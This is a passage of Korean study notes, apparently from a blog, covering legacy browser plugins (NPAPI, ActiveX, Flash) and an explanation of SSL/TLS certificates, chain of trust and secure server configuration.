주로 브라우저의 멀티미디어/그래픽 성능을 보강하는 역할을 했지만, 브라우저, 운영체제 등 클라이언트의 환경에 따라 RIA 요소를 전부 따로 고려하여야 했기 때문에 크로스 브라우징을 지원할 때 심각한 장애 요소로 작용하여 현대의 웹에서는 퇴출되었다.

NPAPI(Netscape Plugin API)와 ActiveX

NPAPI는 넷스케이프에서 개발한, 브라우저가 외부 애플리케이션(= RIA)을 브라우저에서 플러그인 형식으로 끌어다 쓰기 위한 API이다. 다시 말하면, 브라우저에서 동작하기 어려운 기능을 구현하기 위해 클라이언트 환경에 애플리케이션을 설치한 뒤, 이를 웹 페이지에서 접근하기 위해 사용하는 API이다.
이것이 대세가 되면서 플래시 등의 플러그인 기술들은 이를 기반으로 개발되고, MS는 이에 대응하기 위해 IE3에 NPAPI 지원 기능을 추가하면서도 한편으로는 윈도우 + IE 환경에서만 사용이 가능한 자체 플러그인 규격인 ActiveX를 만들었다.
이후 IE가 시장에서 지배적인 위치를 차지하면서 IE는 NPAPI 지원을 중단하였고, ActiveX는 웹 환경에서의 보다 다양한 경험 및 기능을 위한 표준이 되어버리나, 지나친 권한을 허용함으로서 사용자의 보안을 저해하고, 여러 플랫폼에서 호환이 되지 않는 등 여러 부작용을 가져온다.
이러한 심각한 문제점과 모바일 기반 환경의 폭발적인 성장, 파이어폭스/크롬 등 경쟁자의 등장 등이 맞물리면서 윈도우 및 IE의 독점적인 지위는 하락세를 걸었고, 크로스 브라우징 및 웹 표준에 대한 논의가 등장하면서 ActiveX(비슷한 문제를 가지고 있던 NPAPI까지도)는 마침내 퇴출된다.

어도비 플래시, 플래시 플레이어, 액션스크립트

  • 어도비 플래시: RIA를 포함하는 다양한 프로덕트(animations, rich web applications, desktop applications, mobile apps, mobile games, and embedded web browser video players)를 개발하는 플랫폼(Java applets, MS Silverlight와 같은 레벨)
  • 어도비 플래시 플레이어: 어도비 플래시에서 생산된 컨텐츠 파일(SWF 파일)을 실행하는 가상 머신
  • 액션스크립트: 어도비 플래시에서의 사용(애플리케이션 개발)을 목적으로 만들어진 스크립트 언어

SSL/TLS와 인증서의 이해

SSL/TLS란?

  • SSL(Secure Socket Layer)은 암호 기반의 인터넷 보안 프로토콜
  • 여러 번의 보완이 있었으며, 넷스케이프와 무관한 IETF가 이를 관리하면서 TLS(Transport Layer Security)로 이름이 변경
  • HTTP가 이를 사용하여 HTTPS(HTTP over TLS)를 제공하며, SNMP, FTP 등 다른 프로토콜에서도 SSL/TLS를 사용
  • 현재 SSL은 업데이트가 중단되어 많은 보안 취약점이 있고, 대다수의 웹 브라우저는 SSL을 지원하지 않는다.
  • 따라서 대부분의 경우 엄밀하게 말하자면 TLS라 표기하는 것이 맞지만, SSL이 TLS를 지칭하는 용어로 자주 혼용된다.

SSL/TLS의 기능

  • Encryption: 웹 상에서 전송되는 데이터를 암호화하여, 전송 중인 데이터를 탈취하여도 의미없게 만든다.
  • Authentication: Handshake라는 두 기기 간 인증 절차를 거침으로서 서로가 서로임을 보장해준다.
  • Integrity: 디지털 서명을 통해 데이터 무결성, 즉 데이터가 변조되지 않았음을 검증한다.

SSL certificate(TLS certificate)란?

  • 웹사이트의 서버 또는 앱 서버에 저장되어 웹사이트를 인증해주는 일종의 신분증이다.
  • 인증서에는 아래와 같은 정보가 포함되어 있다.
    • 도메인 네임
    • 발급받은 주체(개인, 단체, 기기)
    • 발급 주체(CA)
    • CA의 디지털 서명
    • 적용받는 서브도메인들
    • 발급 날짜
    • 만료 날짜
    • 퍼블릭 키
  • 인증서에는 웹사이트의 퍼블릭 키가 포함되어 사용자 디바이스는 이를 통해 웹사이트와 안전한 연결을 할 수 있도록 한다.
  • 웹사이트는 별도 관리하는 프라이빗 키로 사용자가 전달한 퍼블릭 키로 암호화된 데이터를 복호화한다.
  • CA(Certificate Authorities)는 SSL 인증서를 발급해주는 기관이다.

SSL certificate validation level

  • Domain Validation
    • 가장 낮은 수준의 검증
    • 비용 저렴
    • 해당 도메인의 control 여부만 증명: 이는 보통 DNS 레코드나 이메일을 통해 검증
  • Organization Validation
    • CA가 직접 인증서를 발급받는 주체와 접촉하여 검증
    • 인증서에는 해당 단체의 이름과 주소 등을 포함
  • Extended Validation
    • SSL 인증서 발급 전, 해당 환경과 단체에 관한 폭넓은 검증
    • 단체가 정말 존재하며 법적 문제 없이 등록되어있느지 등을 조사
    • 시간과 비용 필요

안전한 상태란?

  • 클라이언트가 신뢰할 수 있는 상태의 인증서
  • 안전한 설정
    • 안전한 프로토콜 제공(Protocol support)
    • 안전한 암호(Secure Cipher Suites) 설정

클라이언트가 신뢰할 수 있는 인증서

  1. 서비스 도메인에 적합한 인증서 유형의 확인

    • FQDN(Fully Qualified Domain Name: Subdomain부터 TLD까지 포함하는 완전한 도메인 이름)에 대한 개별 인증서
    • SAN(Subject Alternative Name) 인증서: 여러 FQDN에 대한 신뢰를 한번에 제공
    • Wildcard 인증서
      • ‘*’을 접두사로 사용하여 서브도메인 전체에 대한 신뢰 제공
      • 첫 번째 레벨 서브 도메인에 대해서만 커버 가능: 두 번째 이하 레벨은 신뢰하지 않음
  2. 신뢰할 수 있는 root CA의 선택

  3. 인증서 프라이빗 키를 안전하게 보관

    • 인증서를 발급받을 경우 보통 아래와 같은 파일들이 생성
      Index Purpose Filename
      1 CA로부터 서명 받은 인증서(X.509 형식) cert.pem
      2 인증서의 개인키(Certificate’s private key) privkey.pem
      3 중간 CA의 인증서 chain.pem
      4 Fullchain(1+3 combined) fullchain.pem
    • 2번 파일인 인증서의 개인키는 안전한 곳에서 최초 생성 후 접근 불가하도록 설정
    • 나머지 파일들은 클라이언트가 접속할 때 전달
  4. 웹서버에서 적절한 중간 CA 인증서 설정: 클라이언트에서 Chain of Trust 확인

    • 위 테이블의 3, 4번 파일
    • 클라이언트가 인증서를 신뢰할 수 있는 근거를 전달하는 절차
    • 클라이언트는 접속할 서버에서 보낸 인증서 내용 확인 후 신뢰할 수 있는 CA의 서명을 확인
    • 클라이언트가 전달받은 leaf 인증서를 서명한 중간 CA 정보와, 중간 CA를 서명한 root CA가 이미 신뢰하는 root CA의 목록에 있는지 차례대로 확인(Chain of Trust)하여 검증
    • 따라서, 중간 CA 정보를 클라이언트에 전달하지 못하면 root CA에 대한 신뢰관계를 검증하지 못할 수도(대부분 클라이언트들은 신뢰하는 중간 CA 정보도 설정하기 때문에 문제가 없는 경우가 많음) 있기 때문에 중간 CA 정보를 설정하는 것이 좋음
    • root CA와 중간 CA를 굳이 분리하는 것은 신뢰구조 전체가 무너지는 것을 방지하기 위함이며, root CA는 중간 CA를 서명하기 위해서만 제한적으로 사용되고 실제 발급되는 leaf 인증서의 발급(서명)에는 중간 CA를 사용하는 구조가 보편적.
    • CSR(Cross Signed Root): 클라이언트의 신뢰하는 root CA 목록에 해당 root CA가 포함되지 않을 수 있는데(클라이언트 환경이 오래되었거나, root CA가 비교적 최근에 작성되었을 경우), 이 경우 대부분의 클라이언트가 신뢰하는 root CA에게 별도로 서명을 받아두기도 하며 이를 CSR이라 한다.
    • SNI(Server Name Indication): 여러 도메인을 하나의 웹 서버로 서비스할 때, 접속하고자 하는 호스트네임을 요청하여 적절한 인증서를 받아 오기 위해 SNI를 지원하는 클라이언트 환경이 요구될 수 있다.

안전한 설정

  1. 사용하는 OpenSSL 라이브러리의 지속적인 업데이트
    • 라이브러리 커플링: 웹서버 설치 시 OpenSSL 라이브러리를 정적으로 빌드하면 업데이트할 시 웹서버를 새로 빌드/배포해야 하므로, 시스템 라이브러리를 사용하여 웹서버와 분리할 것을 권장
  2. 안전하지 않은 프로토콜의 배제
    • TLS는 지속적으로 보안 수준을 높여가고 있으므로 최신 버전 프로토콜만 사용하도록 하는 것이 바람직하나, 호환성을 고려하여 상황에 따라 결정
  3. 안전한 cipher suite 설정
    • Cipher Suite: 안전한 연결 생성을 위한 4개의 암호화 알고리즘
      1. 키 교환(Key exchange/agreement)
      2. 접속 시 상대 확인(Authentication)
      3. 기밀성을 위한 블록 암호화(Block/stream cipher)
      4. 메시지 무결성을 위한 암호화(Message authentication)
    • cipher suite를 구성하는 알고리즘을 결정하는 데 있어 대규모 트래픽 처리 시 성능을 고려해야 할 때도 있으므로 테스트를 해보는 것이 좋음

출처:
https://www.cloudflare.com/learning/ssl/what-is-ssl/
https://www.cloudflare.com/learning/ssl/what-is-an-ssl-certificate/
https://engineering.linecorp.com/ko/blog/best-practices-to-secure-your-ssl-tls/